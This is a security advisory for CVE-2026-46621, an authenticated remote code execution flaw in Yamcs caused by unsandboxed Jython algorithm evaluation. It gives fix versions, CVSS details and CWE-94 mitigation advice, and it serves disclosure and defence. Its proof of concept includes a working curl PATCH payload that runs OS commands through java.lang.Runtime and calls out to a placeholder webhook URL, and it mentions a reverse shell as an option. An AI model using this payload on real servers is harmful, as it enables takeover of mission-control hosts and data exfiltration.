Skip to content

GHSA-2g95-6x5q-xjwj CVE-2026-46621

Yamcs Vulnerable to Authenticated Remote Code Execution (RCE) via Jython Algorithm Code Injection

Critical Maven
Severity
9.1 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
1.12%
Chance of exploitation in the next 30 days. Higher than 66.09% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
5.12.7
Upgrade org.yamcs:yamcs-core to this version or later

Description

Summary

A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.

Details

The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (/api/mdb/{instance}/realtime/algorithms/{name}), the AlgorithmManager uses the ScriptAlgorithmExecutorFactory to instantiate a JSR-223 ScriptEngine (in this case, Jython/Python).

Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as java.lang.Runtime. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.

PoC

Prerequisites:

  1. A running Yamcs instance with the Jython engine available in its classpath (e.g., jython-standalone dependency included).
  2. An active authentication token for a user with the SystemPrivilege.ChangeMissionDatabase privilege.
  3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to python (e.g., a custom poc algorithm). Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.

Exploitation Steps:

  1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages java.lang.Runtime to execute an OS command (e.g., triggering an external webhook or a reverse shell).

    curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \
         -H 'Content-Type: application/json' \
         -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \
         -d '{
           "action": "SET",
           "algorithm": {
             "text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0"
           }
         }'
    

    (Note: Assigning a valid output like out0.value = 1.0 ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).

  2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the simulator.py script to update the required parameters like Sunsensor).

  3. The Yamcs server compiles the injected text into an executable script on the fly.

  4. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.

Impact

It impacts any Yamcs deployment where users are granted the ChangeMissionDatabase privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.

Credits

Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.

Affected versions

Maven

PackageVulnerableFixed in
org.yamcs:yamcs-core
< 5.12.7
5.12.7

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

org.yamcs:yamcs-core Maven → 5.12.7

maven
<dependency><groupId>org.yamcs</groupId><artifactId>yamcs-core</artifactId><version>5.12.7</version></dependency>
gradle
implementation("org.yamcs:yamcs-core:5.12.7")

Severity breakdown

CVSS 3.1 9.1

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-9272-wg2r-7xmx
Yamcs has DOM XSS in Extension Routing
Medium Also affects org.yamcs:yamcs-core
GHSA-c64q-hj4j-375f
Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)
Critical Also affects org.yamcs:yamcs-core
GHSA-73mf-m39p-wpm9
Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)
Critical Also affects org.yamcs:yamcs-core
GHSA-9jg3-g3wh-w9pj
Yamcs has Unauthenticated Directory Traversal
High Also affects org.yamcs:yamcs-core
GHSA-rxpg-wjf8-qv9c
Yamcs has Reflected XSS in the URL of the Authorize Endpoint
Medium Also affects org.yamcs:yamcs-core
GHSA-cvw4-55pp-3hfq
Yamcs's Missing Authorization on Role and Privilege Enumeration Endpoints Allows Any Authenticated User to Disclose Full Security Configuration
Medium Also affects org.yamcs:yamcs-core
GHSA-fwww-cp23-7f5g
Yamcs's WebSocket subscription handlers omit the privilege checks their REST siblings enforce
Medium Also affects org.yamcs:yamcs-core
GHSA-962x-ccwf-8x6p
Yamcs Core API has Multiple Missing Function Level Access Control vulnerabilities
High Also affects org.yamcs:yamcs-core
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor